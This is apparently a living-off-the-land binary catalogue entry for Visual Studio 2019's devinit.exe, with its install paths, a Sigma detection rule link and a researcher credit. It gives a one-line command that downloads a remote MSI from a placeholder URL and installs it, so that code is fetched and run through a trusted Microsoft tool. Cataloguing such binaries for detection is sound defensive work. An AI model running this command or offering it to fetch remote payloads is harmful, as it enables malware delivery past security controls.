Visual Studio 2019 tool
devinit.exe run -t msi-install -i https://example.com/out.msi
Downloads an MSI file to C:\Windows\Installer and then installs it.
Executes code from a (remote) MSI file.
C:\Program Files\Microsoft Visual Studio\*\Community\Common7\Tools\devinit\devinit.exe, C:\Program Files (x86)\Microsoft Visual Studio\*\Community\Common7\Tools\devinit\devinit.exe
Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_devinit_lolbin_usage.yml
mr.d0x (@mrd0x)